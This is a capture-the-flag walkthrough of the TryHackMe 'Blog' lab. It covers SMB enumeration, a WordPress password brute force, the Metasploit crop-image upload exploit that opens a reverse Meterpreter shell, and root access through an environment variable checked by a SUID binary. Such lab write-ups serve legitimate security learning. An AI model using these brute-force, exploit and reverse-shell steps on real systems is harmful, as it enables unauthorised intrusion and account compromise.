Blog tryhackme

First starting out with a port scan to check for services running, we got SMB running and a webserver

```
Nmap scan report for 10.10.237.255
Host is up (0.18s latency).
Not shown: 65531 closed ports
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
80/tcp  open  ssl/http    Apache/2.4.29 (Ubuntu)
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=7/9%OT=22%CT=1%CU=43882%PV=Y%DS=2%DC=T%G=Y%TM=62C8F729
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=Z%CI=Z%TS=A)SEQ(SP=10
OS:4%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M505ST11NW7%O2=M505ST11NW7%O3
OS:=M505NNT11NW7%O4=M505ST11NW7%O5=M505ST11NW7%O6=M505ST11)WIN(W1=F4B3%W2=F
OS:4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M505NNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 16.730 days (since Wed Jun 22 15:33:25 2022)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT       ADDRESS
1   162.64 ms 10.8.0.1
2   185.54 ms blog.thm (10.10.237.255)

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul  9 09:04:01 2022 -- 1 IP address (1 host up) scanned in 531.88 seconds
→  blog
```

Lets check if we can view the smb shares without creditionals, Yes we can

```
→  blog cat smb

 ________  ___      ___  _______   ___      ___       __         _______
/"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
(:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
 \___  \    /\  \/.    ||:     \/   /\  \/.    |   /' /\  \     |:  ____/
  __/  \   |: \.        |(| _  \   |: \.        |  //  __'  \    (|  /
 /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
(_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
    SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                    https://github.com/ShawnDEvans/smbmap


[+] IP: 10.10.237.255:445       Name: blog.thm                  Status: Guest session
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        BillySMB                                                READ, WRITE     Billy's local SMB Share
        IPC$                                                    NO ACCESS       IPC Service (blog server (Samba, Ubuntu))
```

Lets download all the files in the billy's shares

```
→  blog smbget -R smb://10.10.237.255/BillySMB/

Password for [root] connecting to //BillySMB/10.10.237.255:
Using workgroup WORKGROUP, user root
smb://10.10.237.255/BillySMB//Alice-White-Rabbit.jpg
smb://10.10.237.255/BillySMB//tswift.mp4
smb://10.10.237.255/BillySMB//check-this.png
Downloaded 1.21MB in 16 seconds
```

lets view the rabbit_hole.txt

```
→  blog cat rabbit_hole.txt
You've found yourself in a rabbit hole, friend.
→  blog
```

`Nothing there. So now lets enumrate the wordpress via wpscan to check for any vulnerabilties or any usernames or passwords which we can exploit with.`

we found 2 usernames, lets bruteforce them both with a wordlist

```
[+] kwheel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] bjoel
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Wp Json Api (Aggressive Detection)
 |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)
```

Yes we got a valid password

```
[+] Performing password attack on Xmlrpc against 2 user/s
[SUCCESS] - kwheel / cutiepie1
Trying bjoel / jazzie Time: 00:10:57 <
```

Now that we've got acces lets try to get a shell to the server, lets look up the version number to see if there is any exploits available

```
~ blog searchsploit wordpress 5.0
------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                  |  Path
------------------------------------------------------------------------------------------------ ---------------------------------
WordPress 5.0.0 - Image Remote Code Execution                                                   | php/webapps/49512.py
WordPress Core 5.0 - Remote Code Execution                                                      | php/webapps/46511.js
WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit)                                     | php/remote/46662.rb
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts                         | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service                                         | php/dos/47800.py
WordPress Plugin Custom Pages 0.5.0.1 - Local File Inclusion                                    | php/webapps/17119.txt
WordPress Plugin Database Backup < 5.2 - Remote Code Execution (Metasploit)                     | php/remote/47187.rb
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities                             | php/webapps/39553.txt
WordPress Plugin FeedWordPress 2015.0426 - SQL Injection                                        | php/webapps/37067.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection                                       | php/webapps/44943.txt
WordPress Plugin leenk.me 2.5.0 - Cross-Site Request Forgery / Cross-Site Scripting             | php/webapps/39704.txt
WordPress Plugin Marketplace Plugin 1.5.0 < 1.6.1 - Arbitrary File Upload                       | php/webapps/18988.php
WordPress Plugin Network Publisher 5.0.1 - 'networkpub_key' Cross-Site Scripting                | php/webapps/37174.txt
WordPress Plugin Nmedia WordPress Member Conversation 1.35.0 - 'doupload.php' Arbitrary File Upload | php/webapps/37353.php
WordPress Plugin Quick Page/Post Redirect 5.0.3 - Multiple Vulnerabilities                      | php/webapps/32867.txt
WordPress Plugin RegistrationMagic V 5.0.1.5 - SQL Injection (Authenticated)                    | php/webapps/50686.py
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection                                     | php/webapps/48918.sh
WordPress Plugin Smart Slider-3 3.5.0.8 - 'name' Stored Cross-Site Scripting (XSS)              | php/webapps/49958.txt
WordPress Plugin WP-Property 1.35.0 - Arbitrary File Upload                                     | php/webapps/18987.php
------------------------------------------------------------------------------------------------ ---------------------------------
```

lets use the crop image shell upload you are free to use whatever you want so now lets set up all the nessecities and exploit

```
msf6 exploit(multi/http/wp_crop_rce) > set password cutiepie1
password => cutiepie1
msf6 exploit(multi/http/wp_crop_rce) > set user
set useragent  set username
msf6 exploit(multi/http/wp_crop_rce) > set user
set useragent  set username
msf6 exploit(multi/http/wp_crop_rce) > set username kwheel
username => kwheel
msf6 exploit(multi/http/wp_crop_rce) > set rhosts http://blog.thm/
rhosts => http://blog.thm/
msf6 exploit(multi/http/wp_crop_rce) > set l
set lhost     set loglevel  set lport
msf6 exploit(multi/http/wp_crop_rce) > set lhost tun0
lhost => tun0
msf6 exploit(multi/http/wp_crop_rce) > exploit

[*] Started reverse TCP handler on 10.8.82.109:4444
[*] Authenticating with WordPress using kwheel:cutiepie1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (39927 bytes) to 10.10.237.255
[*] Attempting to clean up files...
[*] Meterpreter session 1 opened (10.8.82.109:4444 -> 10.10.237.255:38862) at 2022-07-09 11:40:54 +0530

meterpreter >
```

WE GOT A SHELL!

It seems here that we got trolled so lets search for the user.txt file

```
ls
Billy_Joel_Termination_May20-2020.pdf  user.txt
$ cat user.txt
cat user.txt
You won't find what you're looking for here.

TRY HARDER
$
```

claim the user.txt file

```
# find / -type f -name user.txt 2>/dev/null
find / -type f -name user.txt 2>/dev/null
/home/bjoel/user.txt
/media/usb/user.txt
#
```

Lets do privesc a common way to exploit privsec vulns are to look for the files that have SUID bit set

> Checker file seems intesting its also very uncomon

```
find / -perm -4000 2>/dev/null
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/at
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/sbin/checker
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
```

Running checker we get not an admin

```
meterpreter >
shell Process 1529 created.
Channel 1 created.
python -c 'import pty; pty.spawn("/bin/sh")'
$ /usr/sbin/checker
/usr/sbin/checker
Not an Admin
$
```

Running ltrace we get:-

```
$ ltrace /usr/sbin/checker
ltrace /usr/sbin/checker
getenv("admin")                                  = nil
puts("Not an Admin"Not an Admin
)                                 = 13
+++ exited (status 0) +++
```

```
www-data@blog:/$ export admin=1
export admin=admin
$ /usr/sbin/checker
/usr/sbin/checker
root@blog:/# cd /root
```

```
cd /root
root@blog:/root# ls -la
ll
total 60
drwx------  6 root root  4096 May 28 19:24 ./
drwxr-xr-x 24 root root  4096 May 25 12:53 ../
lrwxrwxrwx  1 root root     9 May 26 18:17 .bash_history -> /dev/null
-rw-r--r--  1 root root  3106 Apr  9  2018 .bashrc
drwx------  2 root root  4096 May 26 03:01 .cache/
drwx------  3 root root  4096 May 26 03:01 .gnupg/
drwxr-xr-x  3 root root  4096 May 26 03:22 .local/
-rw-------  1 root root   272 May 28 03:21 .mysql_history
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
drwx------  2 root root  4096 May 25 13:15 .ssh/
-rw-------  1 root root 13291 May 28 19:24 .viminfo
-rw-r--r--  1 root root   215 May 27 02:59 .wget-hsts
-rw-r--r--  1 root root    33 May 26 20:08 root.txt
root@blog:/root# cat root.txt
cat root.txt
9a0b2b618be######################
```

Thank you for reading